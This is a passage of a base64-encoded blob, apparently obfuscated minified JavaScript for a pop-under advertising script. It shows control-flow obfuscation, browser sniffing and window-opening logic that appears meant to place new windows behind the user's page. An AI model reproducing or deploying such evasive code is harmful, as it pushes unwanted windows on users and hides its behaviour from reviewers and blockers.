DQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYy